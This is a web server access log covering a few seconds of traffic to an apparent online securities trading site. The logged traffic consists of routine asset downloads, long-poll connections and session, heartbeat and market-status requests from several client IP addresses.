[09/Jan/2026:09:35:26 +0800] 27.115.124.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:09:35:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 306
[09/Jan/2026:09:35:26 +0800] 27.115.124.101 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:09:35:26 +0800] 27.115.124.109 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:09:35:26 +0800] 27.115.124.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:09:35:26 +0800] 27.115.124.101 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:09:35:26 +0800] 27.115.124.70 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:09:35:26 +0800] 27.115.124.45 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:09:35:26 +0800] 27.115.124.109 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:09:35:26 +0800] 27.115.124.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:09:35:26 +0800] 27.115.124.6 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:09:35:26 +0800] 27.115.124.109 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:09:35:26 +0800] 27.115.124.101 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:09:35:26 +0800] 27.115.124.70 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:09:35:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922795665 HTTP/1.1" -
[09/Jan/2026:09:35:26 +0800] 27.115.124.45 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:09:35:26 +0800] 27.115.124.109 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:09:35:26 +0800] 27.115.124.101 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:09:35:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922795814 HTTP/1.1" -
[09/Jan/2026:09:35:26 +0800] 27.115.124.109 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:09:35:26 +0800] 27.115.124.70 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:09:35:26 +0800] 27.115.124.101 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:09:35:26 +0800] 27.115.124.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:09:35:26 +0800] 27.115.124.45 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:09:35:26 +0800] 27.115.124.109 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:09:35:26 +0800] 27.115.124.101 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:09:35:26 +0800] 27.115.124.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:09:35:26 +0800] 27.115.124.70 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:09:35:26 +0800] 27.115.124.45 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:09:35:26 +0800] 27.115.124.109 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:09:35:26 +0800] 27.115.124.101 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:09:35:26 +0800] 27.115.124.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:09:35:26 +0800] 27.115.124.6 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:09:35:26 +0800] 27.115.124.101 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:09:35:26 +0800] 27.115.124.109 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:09:35:26 +0800] 27.115.124.70 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:09:35:26 +0800] 27.115.124.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:09:35:26 +0800] 27.115.124.45 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:09:35:26 +0800] 27.115.124.101 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:09:35:26 +0800] 27.115.124.109 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:09:35:26 +0800] 27.115.124.6 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:09:35:27 +0800] 27.115.124.70 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:09:35:27 +0800] 27.115.124.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:09:35:27 +0800] 27.115.124.101 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:09:35:27 +0800] 27.115.124.109 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:09:35:27 +0800] 27.115.124.45 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:09:35:27 +0800] 27.115.124.6 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:09:35:27 +0800] 27.115.124.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:09:35:27 +0800] 27.115.124.101 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:09:35:27 +0800] 27.115.124.109 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:09:35:27 +0800] 27.115.124.70 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:09:35:27 +0800] 27.115.124.45 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:09:35:27 +0800] 27.115.124.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:09:35:27 +0800] 27.115.124.101 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:09:35:27 +0800] 27.115.124.6 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:09:35:27 +0800] 27.115.124.109 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:09:35:27 +0800] 27.115.124.70 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:09:35:27 +0800] 27.115.124.101 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:09:35:27 +0800] 27.115.124.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:09:35:27 +0800] 27.115.124.45 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:09:35:27 +0800] 27.115.124.109 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:09:35:27 +0800] 27.115.124.6 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:09:35:27 +0800] 27.115.124.70 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:09:35:27 +0800] 27.115.124.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:09:35:27 +0800] 27.115.124.101 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:09:35:27 +0800] 27.115.124.109 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:09:35:27 +0800] 27.115.124.45 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:09:35:27 +0800] 27.115.124.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:09:35:27 +0800] 27.115.124.101 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:09:35:27 +0800] 27.115.124.6 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:09:35:27 +0800] 27.115.124.70 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:09:35:27 +0800] 27.115.124.109 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:09:35:27 +0800] 27.115.124.45 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:09:35:27 +0800] 27.115.124.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:09:35:27 +0800] 27.115.124.101 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:09:35:27 +0800] 27.115.124.6 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:09:35:27 +0800] 27.115.124.101 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:09:35:27 +0800] 27.115.124.101 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:09:35:27 +0800] 27.115.124.101 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:09:35:27 +0800] 27.115.124.6 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:09:35:27 +0800] 27.115.124.101 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:09:35:27 +0800] 27.115.124.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:09:35:27 +0800] 27.115.124.45 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:09:35:27 +0800] 27.115.124.6 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:09:35:27 +0800] 27.115.124.101 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767922796397 HTTP/1.1" 3188
[09/Jan/2026:09:35:27 +0800] 27.115.124.109 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 89
[09/Jan/2026:09:35:27 +0800] 27.115.124.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_glass_75_e6e6e6_1x400.png HTTP/1.1" 262
[09/Jan/2026:09:35:27 +0800] 27.115.124.70 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:09:35:27 +0800] 27.115.124.6 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 15
[09/Jan/2026:09:35:27 +0800] 27.115.124.6 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 131
[09/Jan/2026:09:35:27 +0800] 27.115.124.6 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/tc/dialog.html HTTP/1.1" 3188
[09/Jan/2026:09:35:27 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922811301 HTTP/1.1" -
[09/Jan/2026:09:35:27 +0800] 27.115.124.6 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:27 +0800] 27.115.124.6 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:09:35:27 +0800] 27.115.124.70 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:09:35:27 +0800] 27.115.124.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:09:35:27 +0800] 27.115.124.70 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:35:27 +0800] 27.115.124.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:09:35:27 +0800] 27.115.124.6 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:27 +0800] 27.115.124.6 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:09:35:27 +0800] 27.115.124.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:27 +0800] 27.115.124.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 698
[09/Jan/2026:09:35:27 +0800] 27.115.124.6 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:09:35:27 +0800] 27.115.124.70 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:09:35:27 +0800] 27.115.124.109 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:28 +0800] 27.115.124.109 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:09:35:28 +0800] 27.115.124.70 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:28 +0800] 27.115.124.70 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:35:28 +0800] 27.115.124.109 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:28 +0800] 27.115.124.109 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:09:35:28 +0800] 27.115.124.70 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:09:35:28 +0800] 27.115.124.6 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:09:35:28 +0800] 27.115.124.101 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/unchecked.gif HTTP/1.1" 221
[09/Jan/2026:09:35:28 +0800] 27.115.124.45 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:09:35:28 +0800] 27.115.124.6 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:28 +0800] 27.115.124.45 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:28 +0800] 27.115.124.6 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:35:28 +0800] 27.115.124.45 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:35:28 +0800] 27.115.124.6 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=en HTTP/1.1" 32
[09/Jan/2026:09:35:28 +0800] 27.115.124.45 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:09:35:28 +0800] 27.115.124.6 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:09:35:28 +0800] 27.115.124.70 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:09:35:28 +0800] 27.115.124.109 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:09:35:28 +0800] 27.115.124.101 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:09:35:28 +0800] 27.115.124.70 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:09:35:28 +0800] 27.115.124.6 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:09:35:28 +0800] 27.115.124.45 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:09:35:28 +0800] 27.115.124.109 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:09:35:28 +0800] 27.115.124.101 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:09:35:28 +0800] 27.115.124.45 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:09:35:28 +0800] 27.115.124.70 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:09:35:28 +0800] 27.115.124.45 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:09:35:28 +0800] 27.115.124.6 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:09:35:28 +0800] 27.115.124.109 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:09:35:28 +0800] 27.115.124.101 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:09:35:28 +0800] 27.115.124.45 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:09:35:28 +0800] 27.115.124.70 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:09:35:28 +0800] 27.115.124.45 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:09:35:28 +0800] 27.115.124.6 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:09:35:28 +0800] 27.115.124.109 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:09:35:28 +0800] 27.115.124.101 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:09:35:28 +0800] 27.115.124.45 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:09:35:28 +0800] 27.115.124.70 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:09:35:28 +0800] 27.115.124.45 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:09:35:28 +0800] 27.115.124.6 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:09:35:28 +0800] 27.115.124.101 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:09:35:28 +0800] 27.115.124.109 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
